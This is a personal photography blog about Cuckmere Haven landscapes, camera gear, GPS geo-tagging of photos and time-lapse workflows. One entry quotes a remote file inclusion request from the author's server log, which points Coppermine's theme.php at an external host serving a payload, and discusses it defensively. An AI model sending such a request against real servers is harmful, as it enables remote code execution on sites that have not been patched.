I’m still persevering with trying to get that single image that I want of the coastguard cottages. I drove out there a couple of days ago hoping the weather conditions would cooperate. They didn’t, in fact a massive thunder cloud blew in and I got rather soggy. I got some good pictures nevertheless:

Coastguard cottages and Short Cliff from the beach

Short cliff and the sea defences (me and my camera were getting wet when I made this image)

Rain on the lens, oh dear!

Today I had to go and collect a parcel from the Citylink depot in Hailsham. I was irritated because the route to Hailsham takes me straight past Cuckmere Haven – but the weather looked to be dull and grey and not suitable for photography at all. Thankfully on the way back with my parcel the clouds suddenly cleared and the weather became much more suitable for photography. This time I decided to walk along the path that runs directly along the western side of the River Cuckmere so that I’d have the sun behind me in most of the shots. This is a path that I haven’t walked before – it’s amazing to say that on my 12th visit to Cuckmere Haven with my camera there’s still a path I haven’t walked down – each time I go there I’m presented with new things to photograph. I don’t think I’ll ever tire of this beautiful landscape. It’s changing all the time – and that’s before the flood defences are breached.

For a minute I thought I was going to get my opportunity to drive up to Hill Barn and get my beautiful single image that I’ve been wanting for ages, but the weather still wasn’t cooperative and by the time the sun was low enough in the sky it’d gone behind a cloud – I got 3 hours of good light max.

I also realised I hadn’t done any close-up photos of plants for a while and the plants are certainly out in full-force at Cuckmere Haven at the moment – there were beautiful subtle shades of green everywhere from a diverse array of plants – many of which were in bloom. I photographed a few of them with my 28-90mm – I’d forgotten to bring the telephoto with me. To be honest I’m starting to regret buying my Canon 55-250mm f/4-5.6 IS – the image stabilisation doesn’t make any appreciable difference, the 250mm focal length is a little too short for most wildlife stuff and it doesn’t have a macro switch so it won’t focus on anything closer than a meter. I’m starting to wish I’d just replaced the 300mm Tamron lens that I left in Kwik-fit – it didn’t have image stabilisation, but it did have a macro switch which allowed you to focus on stuff a lot closer and that extra 50mm of focal length makes quite a difference.

Anyway, here’s some of the photos:

Plants

Flowering teasel

Haven Brow and riverbank

Knapweed

Bee

Thistle

I’m hyper-paranoid about security issues in Coppermine as I’ve hacked Coppermine so significantly that it’s going to be a little problematic if I ever need to upgrade to a newer version or apply any security patches.

Today in my server log I noticed requests for the following URL:
/modules/coppermine/themes/default/theme.php?THEME_DIR=http://*****.com/fx29id2.txt??

This looks to be some kind of injection attack on Coppermine’s default theme. Fortunately the hacks I’ve done to give Coppermine search engine friendly URLs seem to have protected me (assuming the version I’m running was ever vulnerable in the first place).

Anyway, I did some Googling for Fx29ID and found this blog post. It looks to be a rather sophisticated web server based exploit/scanning tool. This is the kind of thing we have had to contend with at Digital Crocus occasionally. It’s one of the risks of allowing customers to upload whatever software they want onto our server – our users will often not bother to upgrade their blogs/galleries/forums/etc. to the latest versions. This often leaves them vulnerable to various kinds of code injection attacks – very occasionally; it leaves our entire server vulnerable.

When I started making modifications to Coppermine’s code I was fully aware of the nightmare that would ensue when the day inevitably came that there was a significant security vulnerability in Coppermine. For that reason I’ve been keeping a very close eye on any new releases of Coppermine. So far there have been no new releases since I first set up my gallery, so I’m assuming that even if my hacks to Coppermine’s URL scheme hadn’t protected me, the version I’m running probably isn’t vulnerable to that injection attack anyway. It is however quite nice to know that the fact that I’ve changed most of Coppermine’s URLs will protect me from a lot of the automated scanners anyway.

Another go at timelapse – I happened to be awake at dawn and noticed the clouds were looking rather pink and fluffy, so decided to set the camera up and see what I could do. I set the timer for 1500 exposures at the lowest detail setting at f/5.6 ISO 200 and a focal length of 28mm. The result was fairly good although there was a period of about 200 frames where there were very few clouds in frame and the camera was pointed almost directly at the sun – this inevitably resulted in some overexposure, but I don’t think it ruins the video. I followed the same process described in my previous posts to compile the JPEG images into an AVI and an FLV and you can see the results.

I am starting to get a little worried about the number of shutter actuations on my camera. When I bought it apparently it had something in the region of 1000 already on it – I never actually checked this before I started taking pictures but I’m assuming it was fairly accurate. The camera was in mint condition when I got it and looked like it’d barely been used, so I believe the guy who sold it to me when he said it only had 1000 on it. Since then I’ve managed to clock up over 15,000 shutter actuations! That’s pretty extreme for about 1 month!

For those who don’t know; a shutter actuation is one click of the shutter button – in other words, the shutter actuation count is a count of the number of photographs that have been taken on a camera. It’s a bit like the mileometer on a car – it’s a fairly good gague of general wear-and-tear. On Canon EOS cameras that use the DIGIC chipset version III and above you can read the shutter actuation count using this utility. Nikon cameras actually include the shutter actuation count in the EXIF data of each image captured. See my previous entry for a brief description of EXIF. All other brands are irrelevant.

Technology has a nasty habit of dying prematurely on me – I think it’s probably because I overuse it. I’m lucky to get a year out of a computer before it starts needing replacement parts. I’m just a little worried that the shutter in my camera is going to break – the shutter’s the most delicate part of the camera and Canon rate the 40D’s shutter for 100,000 actuations. That means at the rate I’m going the camera will be dead in just over 6 months! Not good! Except for the fact that it’s still within its warranty, so if the shutter does die within the 6 months, Canon will hopefully fix it for free.

Doing timelapse certainly clocks up quite a few shutter actuations – 1500 in the case of the video below. That seems high, but thinking about it; when I go out to do photography at Cuckmere Haven I’ll happily fill a 2Gb memory card twice over. Depending on the detail in the images, that can easily add up to 1200 exposures. Today, for example, I was at Cuckmere Haven for a little over 2 hours and I clocked up 500 images easily – and the weather conditions weren’t even that good and there wasn’t a lot to photograph!

Now I’m faced with a choice – either I carry on thrashing my camera at the rate I’m doing at the moment and hope that the shutter fails within the warranty period and is repaired for free; or I try and cut down on the number of exposures I take and try to prolong the life of the shutter for as long as possible. Whatever I do, the shutter is virtually guaranteed to fail at exactly the point at which the warranty expires. That’s what seems to happen with every other piece of technology that I buy. I’m pretty sure that most hardware manafacturers design their hardware to last exactly as long as the warranty. Understandable, but annoying!

Anyway, here’s the timelapse that I produced of the sun rising over Brighton:

Download ‘Sunrise’ as a high-quality Xvid encoded AVI file.

If you’ve browsed through any of my recent galleries you will probably have noticed a little globe icon appear – when you click on this icon you’ll be able to see all of the photographs in the gallery that you’re browsing as markers on a Google map. If you click on one of these markers a little bubble will appear with a thumbnail, and if you click on the thumbnail, you’ll be taken to a full-sized version of the image. Clever stuff indeed! Well, it took a fair bit of work to set that up, and currently requires a certain amount of painstaking “geo-tagging” each time I upload a new gallery. I’m going to talk a little bit about how I did it, and why I think it’s important.

Let’s start with how it’s done, and we’ll start right from the beginning. If you’re familiar with navigation, mapping or GPS you’ll be aware that your position on the earth can be accurately described with 3 numbers – a latitude, longitude and altitude. For those that don’t know; latitude and longitude are basically just grid references. Latitude measures how far North or South of the equator you are, with positive values being North of the equator and negative values being South. Longitude measures how far East or West of the “Prime Meridian” you are – the Prime Meridian is the line of longitude which runs through Grenwich, London with positive values for East and negative values for West. Altitude is a simple measurement of meters above sealevel.

The process of geo-tagging is simply a case of attaching latitude, longitude and altitude values to each of the images you take. Many modern camera-phones include GPS receivers and will actually automatically geo-tag every image that you take – this would be a great time-saver, except for the fact that camera-phones are worthless for serious photography. It is only very recently that Digital SLRs have started to get the capability to do this geo-tagging automatically. Indeed, this is an option with my Canon EOS 40D. The catch? You need to buy the ‘Wifi grip’ (WFT-E3) – this is essentially a bulky attachment to the camera which allows you to download photos (and use remote shooting) via Wifi instead of a USB cable. I’m sure that’s very useful for some people, but it’s completely pointless for me. Furthermore, normally when you attach a grip like this to the camera it has a couple of additional battery compartments in it so that you can extend your camera’s battery life – This grip does have an additional battery compartment, but it doesn’t extend the camera’s life because that additional battery is used solely for powering the grip!

EOS 40D with Wifi grip

In other words, I have absolutely no need for this grip at all – except for one killer feature; It has a USB host socket on it. This is different to the normal USB socket on the camera – a USB host socket allows the camera to function as a computer and have another USB device attached to it. This allows you to connect the camera directly to a removable hard disk and avoid the limitations of a CompactFlash card. Not only this, but it allows you to attach a USB GPS device and have the camera automatically geo-tag each photo as you take it. The downside is that you have to carry around a camera that’s significantly bigger and heavier, you have to charge two camera batteries and potentially the batteries in a USB GPS device as well, and you have a USB GPS device dangling on the end of a cable from your camera as you walk around. Hardly ideal! Not cheap either!

Anyway, that’s not how I’ve achieved the geo-tagging of my images; I can’t afford the wifi grip. So how do I do it? Well, it’s a combination of two approaches. I’ve written a little utility using the Google Maps API which allows me to drag a marker around on a map – it’s very much like having a physical map in front of you and sticking a pin in it. The API will allow you to read the latitude and longitude values of this marker, and I save them to my database. Imagine having a map in front of you and 100 photos and 100 pins and having to place a pin in the map for each photo. As you can probably imagine this is a very time-consuming process. It’s made a bit easier if you do the photos in the order that they were taken, and you know the area you’re photographing very well and have a good idea of the route you walked when you took the photos. Even so, it takes literally hours. I went through this process for many of my older galleries when I set up the geo-location feature and I’m now thoroughly sick of doing it.

But there is a better way. Remember I mentioned that modern phones have a GPS device built-in to them and will automatically tag any photos you take on them. Well, that’s useless in itself, but you can leverage that built-in GPS device to make the geo-tagging process a lot quicker. I have a Windows Mobile-based smartphone that includes a GPS receiver, and I use a piece of software for Windows Mobile called GPSToday to produce a log of my GPS co-ordinates every few seconds. This produces a CSV file which you can open in Excel (or OpenOffice in my case) and it looks something like this:

It helps if you ensure the clock on your phone and the clock on your camera are in close sync – but if they are, it’s fairly straight-forward to look at the time you took the photograph, find the nearest log entry in the GPS log and then read the latitude and longitude from there. It’s still a fairly time-consuming process, but it requires a lot less thinking and is much more accurate than the pin-the-tail-on-the-donkey technique I was using. However, there are times when I forget to start GPSToday on my phone, and GPSToday itself can be a little temperamental and is prone to stopping recording for no apparent reason. That might be because I’m not using it right – its user-interface seems to have been designed by someone who has never used either a phone or a computer before. This does mean you have to keep looking at your phone to check it’s still recording. There have been a number of occasions when I’ve had to revert to manually picking out the locations.

Incidentally, I did notice that the altitude figures given by the GPS device in my phone are not very accurate at all – in fact they’re so inaccurate they’re virtually meaningless and so as to avoid confusion I’ve deliberately left them out of my geo-tags. It’s not necessary to have altitude data in order to place a marker on a map anyway because maps are 2-dimensional so it’s not really an issue, although it would have been nice to plot the changes in the shape of the land at Cuckmere Haven in full 3d, this isn’t really feasible with the current accuracy of my GPS device. Perhaps with the new European Galileo sat-nav network we will get better accuracy, if it ever makes it off the ground.

Once I’ve entered the latitudes and longitudes, either by copying them from the GPS log, or by picking them manually on a Google map, my program saves them into a MySQL database; I store the data in a database to allow me to quickly generate the Google maps that you see on the website, but it’s also important to store this data in the EXIF tags. What are EXIF tags you might ask? Well, each time you take an image with a digital camera, inside that image file is stored all sorts of additional data – things like the time the picture was taken and the settings that were used to take the picture (aperture, shutter speed, ISO rating etc.). This data is stored in a special part of the JPEG file called the EXIF data, and the EXIF specification has fields for latitude and longitude. Without the wifi grip and a USB GPS device my camera doesn’t fill these fields, so my geo-tagging program has to add them to each image. This allows me to upload the photos to location-aware services such as Panoramio without having to repeat the geo-tagging process a second time – Panoramio simply reads the location data directly from the JPEG files that I upload.

So that covers how I do the geo-tagging, but why do I think it’s so important? Well, with every click of the shutter you are creating a documentary record of what you see. The documentary photographer’s task is to remain true to reality – to capture reality and then create a permanent record of it for all to see. That’s what my website is about – I would consider myself a documentary photographer and my website is a part of that documentation. I consider it my duty to record the changing world I see around me and make sure that historical record is available for future generations. If you like; I’m trying to create history. As historical data, my photographs are a hell of a lot more useful if they can be tied to a specific location at a specific point in time. For me, geo-tagging is about increasing the value of my photographs as a historical record. This is particularly true for my project on Cuckmere Haven, where in 100 years time a lot of the landscape that I’m photographing may not exist anymore.

I’ve been waiting for a beautiful, sunny day on which to go back to Cuckmere Haven to photograph the coastguard cottages at sunset, but the weather has not been particularly cooperative. The shot that I’m trying to achieve is of the coastguard cottages bathed in the warm glow of the setting sun with the majestic Haven Brow lit by a harsh, direct light from the sun low in the sky in order to pick out the details on the cliff face. Furthermore I do want some clouds in the sky to emphasize the sunset, but these clouds need to be above Haven Brow and not in front of the sun. If there’s clouds in front of the sun you get a softer light and lose a lot of the detail on the cliff face.

When I saw a few spots of blue sky today I decided to drive out to Hill Barn anyway and just hope that the clouds would part at the opportune moment. I figured if I wait for ideal weather, in England, I may be waiting a very long time. Unfortunately on this particular occasion the clouds did not part at the opportune moment and I didn’t really get the shot I was aiming for. Not to worry – seeing as I’d driven there I decided to make the best of it. The view of the coastguard cottages looks different each time I’m there due to differing lighting conditions and the position of the tide. I did manage to get some good pictures including a few nice shots of sunset over Seaford.

Below you can see a small selection of the photographs from this trip, you can view the full gallery here.

Coastguard cottages

Coastguard cottage and sea defences

Pesky clouds in front of the sun

Rolling clouds over the South Downs

Another thunderstorm hit, this time at night. Lightning strikes were occurring every few seconds and some of them were producing visible forked lightning in the sky. I was hoping that the storm would continue long enough to capture a few hundred images to produce a time-lapse video. However, with my Canon 28-90mm F4-5.6 zoom lens attached to the camera and with the aperture set to F4, due to the low light; each exposure required 30 seconds – I set the timer on the EOS Utility to take an exposure every 35 seconds. This worked for the purpose of taking pictures of lightning; I captured the images that you see below. However, at 35 second intervals the thunderstorm was over before I had enough frames for even 5 seconds of video. What I’ve learned from this is that I need to use a faster lens if I’m to capture time-lapse in low light (ie. at night).

My Canon 50mm F1.8 Mk II probably would have been ideal for this, but I seem to have lost it! I think it must have fallen out of the lens bag while I was running to get a new angle on sunrise before the sun came above the horizon. That’ll teach me to run without doing up the zip on the bag! This will actually be the second Canon 50mm f/1.8 Mk II that I’ve lost, the first one was left in the Kwik-fit waiting room with my EOS 400D – not good! Canon’s 50mm prime is definitely a lens that I’ll buy again but what I really want is for Canon to produce a lens that will give me 50mm perspective on the APS-C sized sensor in my EOS 40D – in other words I want a low cost, high quality 30mm high-speed prime – identical in every way to the 50mm f/1.8 Mk II, except 30mm. Where is it Canon? Sigma do a 30mm prime for a Canon mount, but it’s not as cheap as Canon’s 50mm prime. I got my 50mm f/1.8 Mk II from Amazon for £62 – and it produced beautiful crisp pictures with excellent contrast and saturation. Why can’t I get a 30mm lens for £62?

It’s only once you start getting serious about landscape photography that you start to realise how limiting the 1.6x multiplier on an APS-C sized sensor really is. It’s great if you’re using a telephoto because you effectively get a longer focal length for free. That’s fine, except that the flipside is that it becomes very expensive to get a decent wide angle. Right now I’m more bothered about getting a really wide angle and I’m going to have to shell out a load of cash for something like a Canon 10-22mm f/3.5-4.5 USM – I think that may be my next lens purchase but it won’t come cheap!

Anyway, enough of me rambling about lenses, here’s those lightning photos:

Brighton lit up by lightning

Sky lit up

Lightning strikes the ground

Lightning in clouds

We’ve been having lots of brief thunder storms in Brighton over the last couple of days. Often only lasting half an hour, many of them have bought lots of thunder and lightning and heavy showers of rain. Annoyingly, one such storm took out my neighbourhood’s electricity for about 4 hours while I was in the middle of writing this blog entry. Anyway, earlier today when one of these storms started to blow in at sunrise I decided to have a go at doing another time-lapse.

I would expect this to work on any Canon camera that supports live-view and remote shooting, this includes: 1Ds Mk III, 1D Mk III, 5D Mk II, 50D, 20Da (maybe), 450D, 500D and 1000D. The workflow I’m using to produce time-lapse videos from my Canon EOS 40D is as follows:

1. Capture a series of images at 1936×1288 using the timer function in the remote shooting part of the EOS Utility.
2. Batch resize them to 768×512 using Digital Photo Professional.
3. Combine the set into an uncompressed AVI file using Photolapse.
4. Encode the AVI file to Flash FLV using Free Video to Flash converter
5. Encode the AVI file with Xvid using Virtualdub and GKnot’s codec pack.
6. Upload both files and embed a Flash player for the FLV and link directly to the AVI file.

I’ve done some more screenshots throughout the process to add to my last blog entry where I introduced it and illustrate a bit better how it works. The first screenshot is of the batch settings screen in Canon’s Digital Photo Professional software. Note I had to untick the ‘Lock aspect ratio’ checkbox because it computes the correct height value for a width of 768 to be 511. The only way to force it to produce images at 768×512 is to untick this box. I left the default option of using a new set of filenames for the resized versions – I like to keep the high-res versions as well.

Digital Photo Pro batch settings

Below you see the actual batch process being executed. It’s fairly quick for 2000 images, less than 10 minutes total time to resize them all.

Batch resize in Photo Pro

The next step is to combine all of the individual smaller images created from the batch process into a single AVI file. Photolapse will actually allow you to perform encoding on the output file, but I choose to create an uncompressed AVI to start with. The drawback of this seems to be that Photolapse (the version I’m using at least) doesn’t create an index on an uncompressed AVI. This didn’t seem to cause a problem – the Flash conversion doesn’t even mention it and Virtualdub rebuilt the index on the file as soon as I opened it. However, it does mean you can’t play the AVI file in Media Player until you have rebuilt that index.

Photolapse AVI creation from JPEGs

Here’s a screenshot of the conversion to FLV – I prefer to do this directly from an uncompressed AVI because transcoding is bad.

AVI to Flash (FLV) conversion

And here’s a screenshot of the XVid encoding in Virtualdub. You need to install the GKnot codec pack in order to get the option of outputting XVid or DivX encoded videos in Virtualdub, but once you have that it works brilliantly.

Virtualdub Xvid encoding

And here’s the final result – an embedded Flash video player and a link to a higher quality Xvid encoded AVI:

Download ‘Sunrise and storm clouds’ as a high-quality Xvid encoded AVI file.

Click here to see the rest of the time-lapse videos.

When I got my new Canon EOS 40D and realised the EOS Utility software that came with it had the ability to trigger the camera to take a picture at timed intervals, the first thing that entered my head was time-lapse photography. This is a great feature of the camera, but the limitation is that it has to be tethered to a computer for it to work (unless you have the wireless module, but then you still need a computer in Wi-fi range). It does have the nice feature of allowing you to skip saving the images to flash completely and have them saved directly to a folder on your computer – this means you’re limited only by the size of your hard disk.

Canon EOS 40D

That would all be fine and dandy if my laptop were capable of lasting more than 30 minutes without being plugged in, but it’s not, so until I get a car charger for it, I’ll have to make-do.

EOS Utility Remote Shooting

To test the process and see how easy it would be to go from a series of hundreds of JPEG images from the camera to a flash video playable on my website; I decided to start with something fairly easy – the clouds from my bedroom window. I placed the camera facing out of the window with the laptop setup on the chair next to it and started taking exposures. Initially I was using a 30 second interval but I soon realised the clouds were moving way-too quickly for this.

The lowest interval the software will allow you to do is 5 seconds which is actually not as fast as I would’ve liked to get a really smooth motion in the final video. 3 seconds would have been ideal for the speed the clouds were moving at the time. I’m pretty sure the camera’s capable of it, it’ll do 6 frames in a second when you have it on continuous shoot mode and I wouldn’t have thought USB bandwidth would be too limiting, especially when it’s on the lowest picture quality settings (that’s what I’m using – it’s still as good as any HD video signal). When I get time I’ll go on the hunt for third-party software that lets you capture at shorter intervals and failing that, probably make an attempt at writing some.

I allowed the camera to capture at least a thousand images on each run, I did some quick maths to work out that 1000 frames at 30 frames a second would give me 33 seconds of video and figured that’d be enough. I did a few attempts with the camera pointed in different directions starting shortly after sunrise and continuing for approx 5 hours. This gave me a few thousand JPEG images at 1936×1288 on the lowest detail setting weighing in at around 700K each. Vista on 1gb of RAM did not cope particularly well with this but I suffered through it.

Timer Shooting Settings

The Digital Photo Professional software that also came with the camera made it easy to resize all of the images down to 768×512 in a batch. Digital Photo Professional is a little bit like Picassa or something like that; it’s a utility for browsing your images – I normally prefer to just use Vista’s built-in image browser, but the batch processing feature in Digital Photo Pro is very handy for this particular usage scenario. 768×512 is the size that I display most of the images at on my website as it fits nicely into my design so I decided to go with the same size for the video. At this size each image was a little over 100k. It’s not quite HD, but I could make an HD video from the original JPEGs if the need arises.

I used some software which I now can’t find to join all of the JPEG files from each set of exposures into a single AVI file. The software wasn’t particularly good and I’ve found something that looks slightly better that I’ll be using in future. It’s called PhotoLapse and it’s freeware. It’s simple software really, just allows you to select all of the images you want to join together, how many frames-per-second you’d like and away you go. I ended up with four videos that were worth finishing – the AVI files at 768×512 were between 1 and 2Gb each.

I then used DVDVideoSoft’s Free Video to Flash Converter to create FLV files suitable for playing in an embedded Flash player. The video->flash software lets you choose the bitrate on the output file, so you can effectively choose your output file size. After some experimentation I settled on 1600000 as the bitrate for the files that are now visible online. This produced files in the range of 8-14Mb. This allowed them to buffer and play immediately on my fairly slow broadband connection so I was happy with that. I did also create two other versions of each video at higher bit-rates but these are not currently viewable online.

Video to Flash Converter

Overall the entire conversion process took a few hours in total for all four videos on a 1.8Ghz Core 2 Duo laptop with 1Gb of RAM running Vista. If I were going to do more exposures or higher detail settings I think I’d transfer the files to my much faster desktop PC running XP with a lot more RAM before doing the conversion.

Click here to see the rest of the time-lapse videos.

I do plan to try taking some time-lapse photography at Cuckmere Haven as soon as I have a way of keeping my laptop alive.

Hello and welcome to my all-new blog. I’ll be adding entries whenever I upload a new gallery with a little description of what’s in the gallery and a selection of some of the best images in the gallery. I’ll also write here when I update the site in other ways, either by adding a new feature or a new link to my links page. I might also use this blog to talk about some of the issues that arise from my photography projects; particularly the flood defences at Cuckmere Haven.